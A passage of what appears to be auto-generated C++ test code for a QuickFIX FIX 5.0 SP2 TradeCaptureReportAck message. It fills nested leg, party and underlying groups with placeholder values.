FIX::UnderlyingLegSecurityAltIDSource{\"STRING_393706938\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_13);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_13);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_0_1_0.addGroup(noUnderlyingLegSecurityAltID_0_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_0_0_2_1;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_14;\n        set_field(noUnderlyingLegSecurityAltID_0_0_2_1, FIX::UnderlyingLegSecurityAltID{\"STRING_1418284221\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_14);\n        set_field(noUnderlyingLegSecurityAltID_0_0_2_1, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_1825206288\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_14);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_14);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_0_1_0.addGroup(noUnderlyingLegSecurityAltID_0_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_0_0_2_2;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_15;\n        set_field(noUnderlyingLegSecurityAltID_0_0_2_2, FIX::UnderlyingLegSecurityAltID{\"STRING_1593989330\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_15);\n        set_field(noUnderlyingLegSecurityAltID_0_0_2_2, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_1353217211\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_15);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_15);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_0_1_0.addGroup(noUnderlyingLegSecurityAltID_0_0_2_2);\n      }\n      noLegs_0_0.addGroup(noOfLegUnderlyings_0_1_0);\n    }\n    msg.addGroup(noLegs_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReportAck::NoLegs noLegs_0_1;\n    // TrdInstrmtLegGrp.NoLegs\n    multiset<string> TrdInstrmtLegGrp_NoLegs_4;\n    FIX::LegCalculatedCcyLastQty LegCalculatedCcyLastQty_6;\n    LegCalculatedCcyLastQty_6.setString(\"19393020\");\nset_field(noLegs_0_1, LegCalculatedCcyLastQty_6, TrdInstrmtLegGrp_NoLegs_4);\n    set_field(noLegs_0_1, FIX::LegCoveredOrUncovered{1202862854}, TrdInstrmtLegGrp_NoLegs_4);\n    FIX::LegCurrencyRatio LegCurrencyRatio_10;\n    LegCurrencyRatio_10.setString(\"11376227\");\nset_field(noLegs_0_1, LegCurrencyRatio_10, TrdInstrmtLegGrp_NoLegs_4);\n    FIX::LegDividendYield LegDividendYield_10;\n    LegDividendYield_10.setString(\"97.120000\");\nset_field(noLegs_0_1, LegDividendYield_10, TrdInstrmtLegGrp_NoLegs_4);\n    set_field(noLegs_0_1, FIX::LegExecInst{\"MULTIPLECHARVALUE_700084037\"}, TrdInstrmtLegGrp_NoLegs_4);\n    FIX::LegGrossTradeAmt LegGrossTradeAmt_6;\n    LegGrossTradeAmt_6.setString(\"20621680\");\nset_field(noLegs_0_1, LegGrossTradeAmt_6, TrdInstrmtLegGrp_NoLegs_4);\n    FIX::LegLastForwardPoints LegLastForwardPoints_6;\n    LegLastForwardPoints_6.setString(\"10007045\");\nset_field(noLegs_0_1, LegLastForwardPoints_6, TrdInstrmtLegGrp_NoLegs_4);\n    FIX::LegLastPx LegLastPx_6;\n    LegLastPx_6.setString(\"15476986\");\nset_field(noLegs_0_1, LegLastPx_6, TrdInstrmtLegGrp_NoLegs_4);\n    FIX::LegLastQty LegLastQty_6;\n    LegLastQty_6.setString(\"19592700\");\nset_field(noLegs_0_1, LegLastQty_6, TrdInstrmtLegGrp_NoLegs_4);\n    set_field(noLegs_0_1, FIX::LegNumber{571322406}, TrdInstrmtLegGrp_NoLegs_4);\n    set_field(noLegs_0_1, FIX::LegPositionEffect{'1'}, TrdInstrmtLegGrp_NoLegs_4);\n    FIX::LegQty LegQty_25;\n    LegQty_25.setString(\"10591378\");\nset_field(noLegs_0_1, LegQty_25, TrdInstrmtLegGrp_NoLegs_4);\n    set_field(noLegs_0_1, FIX::LegRefID{\"STRING_425400060\"}, TrdInstrmtLegGrp_NoLegs_4);\n    set_field(noLegs_0_1, FIX::LegReportID{\"STRING_1681477002\"}, TrdInstrmtLegGrp_NoLegs_4);\n    set_field(noLegs_0_1, FIX::LegSettlCurrency{\"CAN\"}, TrdInstrmtLegGrp_NoLegs_4);\n    set_field(noLegs_0_1, FIX::LegSettlDate{\"LOCALMKTDATE_534223706\"}, TrdInstrmtLegGrp_NoLegs_4);\n    set_field(noLegs_0_1, FIX::LegSettlType{'1'}, TrdInstrmtLegGrp_NoLegs_4);\n    set_field(noLegs_0_1, FIX::LegSwapType{1}, TrdInstrmtLegGrp_NoLegs_4);\n    FIX::LegVolatility LegVolatility_10;\n    LegVolatility_10.setString(\"17989220\");\nset_field(noLegs_0_1, LegVolatility_10, TrdInstrmtLegGrp_NoLegs_4);\n    all_values.push_back(TrdInstrmtLegGrp_NoLegs_4);\n    all_compo_names.insert(\"...NoLegs\");\n\n    // InstrumentLeg\n    multiset<string> InstrumentLeg_141;\n    set_field(noLegs_0_1, FIX::EncodedLegIssuer{\"DATA_1258599582\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::EncodedLegIssuerLen{1872373802}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::EncodedLegSecurityDesc{\"DATA_647981098\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::EncodedLegSecurityDescLen{1266168438}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegCFICode{\"STRING_799773527\"}, InstrumentLeg_141);\n    FIX::LegContractMultiplier LegContractMultiplier_141;\n    LegContractMultiplier_141.setString(\"5377372\");\nset_field(noLegs_0_1, LegContractMultiplier_141, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegContractMultiplierUnit{1659875376}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegContractSettlMonth{\"MONTHYEAR_70574101\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegCountryOfIssue{\"COUNTRY_215459899\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegCouponPaymentDate{\"LOCALMKTDATE_1106381058\"}, InstrumentLeg_141);\n    FIX::LegCouponRate LegCouponRate_141;\n    LegCouponRate_141.setString(\"13.120000\");\nset_field(noLegs_0_1, LegCouponRate_141, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegCreditRating{\"STRING_7278287\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegCurrency{\"JPY\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegDatedDate{\"LOCALMKTDATE_1088918000\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegExerciseStyle{861844302}, InstrumentLeg_141);\n    FIX::LegFactor LegFactor_141;\n    LegFactor_141.setString(\"3286148\");\nset_field(noLegs_0_1, LegFactor_141, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegFlowScheduleType{2089622599}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegInstrRegistry{\"STRING_262059310\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegInterestAccrualDate{\"LOCALMKTDATE_140401186\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegIssueDate{\"LOCALMKTDATE_513461357\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegIssuer{\"STRING_1715091592\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegLocaleOfIssue{\"STRING_1199539032\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegMaturityDate{\"LOCALMKTDATE_938861418\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegMaturityMonthYear{\"MONTHYEAR_1249084946\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegMaturityTime{\"TZTIMEONLY_329669409\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegOptAttribute{'6'}, InstrumentLeg_141);\n    FIX::LegOptionRatio LegOptionRatio_141;\n    LegOptionRatio_141.setString(\"17833086\");\nset_field(noLegs_0_1, LegOptionRatio_141, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegPool{\"STRING_28143919\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegPriceUnitOfMeasure{\"STRING_750969343\"}, InstrumentLeg_141);\n    FIX::LegPriceUnitOfMeasureQty LegPriceUnitOfMeasureQty_141;\n    LegPriceUnitOfMeasureQty_141.setString(\"14347470\");\nset_field(noLegs_0_1, LegPriceUnitOfMeasureQty_141, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegProduct{1286743502}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegPutOrCall{475859498}, InstrumentLeg_141);\n    FIX::LegRatioQty LegRatioQty_141;\n    LegRatioQty_141.setString(\"20827281\");\nset_field(noLegs_0_1, LegRatioQty_141, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegRedemptionDate{\"LOCALMKTDATE_405428292\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegRepoCollateralSecurityType{\"STRING_1275633025\"}, InstrumentLeg_141);\n    FIX::LegRepurchaseRate LegRepurchaseRate_141;\n    LegRepurchaseRate_141.setString(\"18.060000\");\nset_field(noLegs_0_1, LegRepurchaseRate_141, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegRepurchaseTerm{2065303668}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegSecurityDesc{\"STRING_1346207126\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegSecurityExchange{\"EXCHANGE_688441705\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegSecurityID{\"STRING_1024201079\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegSecurityIDSource{\"STRING_622514790\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegSecuritySubType{\"STRING_695719993\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegSecurityType{\"STRING_1185961344\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegSide{'1'}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegStateOrProvinceOfIssue{\"STRING_1784637993\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegStrikeCurrency{\"JPY\"}, InstrumentLeg_141);\n    FIX::LegStrikePrice LegStrikePrice_141;\n    LegStrikePrice_141.setString(\"17267769\");\nset_field(noLegs_0_1, LegStrikePrice_141, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegSymbol{\"STRING_162381308\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegSymbolSfx{\"STRING_1505461251\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegTimeUnit{\"STRING_92754653\"}, InstrumentLeg_141);\n    set_field(noLegs_0_1, FIX::LegUnitOfMeasure{\"STRING_1877472900\"}, InstrumentLeg_141);\n    FIX::LegUnitOfMeasureQty LegUnitOfMeasureQty_141;\n    LegUnitOfMeasureQty_141.setString(\"5575166\");\nset_field(noLegs_0_1, LegUnitOfMeasureQty_141, InstrumentLeg_141);\n    all_values.push_back(InstrumentLeg_141);\n    all_compo_names.insert(\"...NoLegs.\");\n\n    // LegSecAltIDGrp\n    // Group LegSecAltIDGrp.NoLegSecurityAltID\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoLegSecurityAltID noLegSecurityAltID_1_1_0;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_283;\n      set_field(noLegSecurityAltID_1_1_0, FIX::LegSecurityAltID{\"STRING_979074198\"}, LegSecAltIDGrp_NoLegSecurityAltID_283);\n      set_field(noLegSecurityAltID_1_1_0, FIX::LegSecurityAltIDSource{\"STRING_887186045\"}, LegSecAltIDGrp_NoLegSecurityAltID_283);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_283);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_1.addGroup(noLegSecurityAltID_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoLegSecurityAltID noLegSecurityAltID_1_1_1;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_284;\n      set_field(noLegSecurityAltID_1_1_1, FIX::LegSecurityAltID{\"STRING_1100162319\"}, LegSecAltIDGrp_NoLegSecurityAltID_284);\n      set_field(noLegSecurityAltID_1_1_1, FIX::LegSecurityAltIDSource{\"STRING_614899202\"}, LegSecAltIDGrp_NoLegSecurityAltID_284);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_284);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_1.addGroup(noLegSecurityAltID_1_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoLegSecurityAltID noLegSecurityAltID_1_1_2;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_285;\n      set_field(noLegSecurityAltID_1_1_2, FIX::LegSecurityAltID{\"STRING_915329964\"}, LegSecAltIDGrp_NoLegSecurityAltID_285);\n      set_field(noLegSecurityAltID_1_1_2, FIX::LegSecurityAltIDSource{\"STRING_1851131662\"}, LegSecAltIDGrp_NoLegSecurityAltID_285);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_285);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_1.addGroup(noLegSecurityAltID_1_1_2);\n    }\n    // LegStipulations\n    // Group LegStipulations.NoLegStipulations\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoLegStipulations noLegStipulations_1_1_0;\n      // LegStipulations.NoLegStipulations\n      multiset<string> LegStipulations_NoLegStipulations_73;\n      set_field(noLegStipulations_1_1_0, FIX::LegStipulationType{\"STRING_54589818\"}, LegStipulations_NoLegStipulations_73);\n      set_field(noLegStipulations_1_1_0, FIX::LegStipulationValue{\"STRING_179507512\"}, LegStipulations_NoLegStipulations_73);\n      all_values.push_back(LegStipulations_NoLegStipulations_73);\n      all_compo_names.insert(\"...NoLegs...NoLegStipulations\");\n\n      noLegs_0_1.addGroup(noLegStipulations_1_1_0);\n    }\n    // NestedParties\n    // Group NestedParties.NoNestedPartyIDs\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoNestedPartyIDs noNestedPartyIDs_1_1_0;\n      // NestedParties.NoNestedPartyIDs\n      multiset<string> NestedParties_NoNestedPartyIDs_161;\n      set_field(noNestedPartyIDs_1_1_0, FIX::NestedPartyID{\"STRING_460018110\"}, NestedParties_NoNestedPartyIDs_161);\n      set_field(noNestedPartyIDs_1_1_0, FIX::NestedPartyIDSource{'1'}, NestedParties_NoNestedPartyIDs_161);\n      set_field(noNestedPartyIDs_1_1_0, FIX::NestedPartyRole{310389004}, NestedParties_NoNestedPartyIDs_161);\n      all_values.push_back(NestedParties_NoNestedPartyIDs_161);\n      all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs\");\n\n      // NstdPtysSubGrp\n      // Group NstdPtysSubGrp.NoNestedPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_1_0_2_0;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_333;\n        set_field(noNestedPartySubIDs_1_0_2_0, FIX::NestedPartySubID{\"STRING_653864016\"}, NstdPtysSubGrp_NoNestedPartySubIDs_333);\n        set_field(noNestedPartySubIDs_1_0_2_0, FIX::NestedPartySubIDType{998830709}, NstdPtysSubGrp_NoNestedPartySubIDs_333);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_333);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_1_1_0.addGroup(noNestedPartySubIDs_1_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_1_0_2_1;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_334;\n        set_field(noNestedPartySubIDs_1_0_2_1, FIX::NestedPartySubID{\"STRING_1402039210\"}, NstdPtysSubGrp_NoNestedPartySubIDs_334);\n        set_field(noNestedPartySubIDs_1_0_2_1, FIX::NestedPartySubIDType{1276378807}, NstdPtysSubGrp_NoNestedPartySubIDs_334);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_334);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_1_1_0.addGroup(noNestedPartySubIDs_1_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_1_0_2_2;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_335;\n        set_field(noNestedPartySubIDs_1_0_2_2, FIX::NestedPartySubID{\"STRING_1694550702\"}, NstdPtysSubGrp_NoNestedPartySubIDs_335);\n        set_field(noNestedPartySubIDs_1_0_2_2, FIX::NestedPartySubIDType{440516906}, NstdPtysSubGrp_NoNestedPartySubIDs_335);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_335);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_1_1_0.addGroup(noNestedPartySubIDs_1_0_2_2);\n      }\n      noLegs_0_1.addGroup(noNestedPartyIDs_1_1_0);\n    }\n    // TradeCapLegUnderlyingsGrp\n    // Group TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoOfLegUnderlyings noOfLegUnderlyings_1_1_0;\n      // TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n      // UnderlyingLegInstrument\n      multiset<string> UnderlyingLegInstrument_8;\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegCFICode{\"STRING_1331705047\"}, UnderlyingLegInstrument_8);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegMaturityDate{\"LOCALMKTDATE_340838904\"}, UnderlyingLegInstrument_8);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegMaturityMonthYear{\"MONTHYEAR_1530400466\"}, UnderlyingLegInstrument_8);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegMaturityTime{\"TZTIMEONLY_910998343\"}, UnderlyingLegInstrument_8);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegOptAttribute{'5'}, UnderlyingLegInstrument_8);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegPutOrCall{888378069}, UnderlyingLegInstrument_8);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSecurityDesc{\"STRING_1003752997\"}, UnderlyingLegInstrument_8);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSecurityExchange{\"STRING_233209465\"}, UnderlyingLegInstrument_8);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSecurityID{\"STRING_1445894705\"}, UnderlyingLegInstrument_8);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSecurityIDSource{\"STRING_2035369068\"}, UnderlyingLegInstrument_8);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSecuritySubType{\"STRING_1212283664\"}, UnderlyingLegInstrument_8);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSecurityType{\"STRING_185597102\"}, UnderlyingLegInstrument_8);\n      FIX::UnderlyingLegStrikePrice UnderlyingLegStrikePrice_8;\n      UnderlyingLegStrikePrice_8.setString(\"9880477\");\nset_field(noOfLegUnderlyings_1_1_0, UnderlyingLegStrikePrice_8, UnderlyingLegInstrument_8);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSymbol{\"STRING_1827182866\"}, UnderlyingLegInstrument_8);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSymbolSfx{\"STRING_1100927066\"}, UnderlyingLegInstrument_8);\n      all_values.push_back(UnderlyingLegInstrument_8);\n      all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings.\");\n\n      // UnderlyingLegSecurityAltIDGrp\n      // Group UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_1_0_2_0;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_16;\n        set_field(noUnderlyingLegSecurityAltID_1_0_2_0, FIX::UnderlyingLegSecurityAltID{\"STRING_1729345517\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_16);\n        set_field(noUnderlyingLegSecurityAltID_1_0_2_0, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_1155516885\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_16);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_16);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_1_1_0.addGroup(noUnderlyingLegSecurityAltID_1_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_1_0_2_1;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_17;\n        set_field(noUnderlyingLegSecurityAltID_1_0_2_1, FIX::UnderlyingLegSecurityAltID{\"STRING_871203266\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_17);\n        set_field(noUnderlyingLegSecurityAltID_1_0_2_1, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_1566752715\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_17);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_17);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_1_1_0.addGroup(noUnderlyingLegSecurityAltID_1_0_2_1);\n      }\n      noLegs_0_1.addGroup(noOfLegUnderlyings_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoOfLegUnderlyings noOfLegUnderlyings_1_1_1;\n      // TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n      // UnderlyingLegInstrument\n      multiset<string> UnderlyingLegInstrument_9;\n      set_field(noOfLegUnderlyings_1_1_1, FIX::UnderlyingLegCFICode{\"STRING_1615534995\"}, UnderlyingLegInstrument_9);\n      set_field(noOfLegUnderlyings_1_1_1, FIX::UnderlyingLegMaturityDate{\"LOCALMKTDATE_178860156\"}, UnderlyingLegInstrument_9);\n      set_field(noOfLegUnderlyings_1_1_1, FIX::UnderlyingLegMaturityMonthYear{\"MONTHYEAR_1877141719\"}, UnderlyingLegInstrument_9);\n      set_field(noOfLegUnderlyings_1_1_1, FIX::UnderlyingLegMaturityTime{\"TZTIMEONLY_1993373126\"}, UnderlyingLegInstrument_9);\n      set_field(noOfLegUnderlyings_1_1_1, FIX::UnderlyingLegOptAttribute{'8'}, UnderlyingLegInstrument_9);\n      set_field(noOfLegUnderlyings_1_1_1, FIX::UnderlyingLegPutOrCall{728488781}, UnderlyingLegInstrument_9);\n      set_field(noOfLegUnderlyings_1_1_1, FIX::UnderlyingLegSecurityDesc{\"STRING_1247928688\"}, UnderlyingLegInstrument_9);\n      set_field(noOfLegUnderlyings_1_1_1, FIX::UnderlyingLegSecurityExchange{\"STRING_2109102980\"}, UnderlyingLegInstrument_9);\n      set_field(noOfLegUnderlyings_1_1_1, FIX::UnderlyingLegSecurityID{\"STRING_275555835\"}, UnderlyingLegInstrument_9);\n      set_field(noOfLegUnderlyings_1_1_1, FIX::UnderlyingLegSecurityIDSource{\"STRING_1688445594\"}, UnderlyingLegInstrument_9);\n      set_field(noOfLegUnderlyings_1_1_1, FIX::UnderlyingLegSecuritySubType{\"STRING_126959734\"}, UnderlyingLegInstrument_9);\n      set_field(noOfLegUnderlyings_1_1_1, FIX::UnderlyingLegSecurityType{\"STRING_1607260883\"}, UnderlyingLegInstrument_9);\n      FIX::UnderlyingLegStrikePrice UnderlyingLegStrikePrice_9;\n      UnderlyingLegStrikePrice_9.setString(\"20292844\");\nset_field(noOfLegUnderlyings_1_1_1, UnderlyingLegStrikePrice_9, UnderlyingLegInstrument_9);\n      set_field(noOfLegUnderlyings_1_1_1, FIX::UnderlyingLegSymbol{\"STRING_1657360200\"}, UnderlyingLegInstrument_9);\n      set_field(noOfLegUnderlyings_1_1_1, FIX::UnderlyingLegSymbolSfx{\"STRING_370775578\"}, UnderlyingLegInstrument_9);\n      all_values.push_back(UnderlyingLegInstrument_9);\n      all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings.\");\n\n      // UnderlyingLegSecurityAltIDGrp\n      // Group UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_1_1_2_0;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_18;\n        set_field(noUnderlyingLegSecurityAltID_1_1_2_0, FIX::UnderlyingLegSecurityAltID{\"STRING_398254622\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_18);\n        set_field(noUnderlyingLegSecurityAltID_1_1_2_0, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_1374528575\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_18);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_18);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_1_1_1.addGroup(noUnderlyingLegSecurityAltID_1_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_1_1_2_1;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_19;\n        set_field(noUnderlyingLegSecurityAltID_1_1_2_1, FIX::UnderlyingLegSecurityAltID{\"STRING_618230529\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_19);\n        set_field(noUnderlyingLegSecurityAltID_1_1_2_1, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_1844149327\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_19);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_19);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_1_1_1.addGroup(noUnderlyingLegSecurityAltID_1_1_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_1_1_2_2;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_20;\n        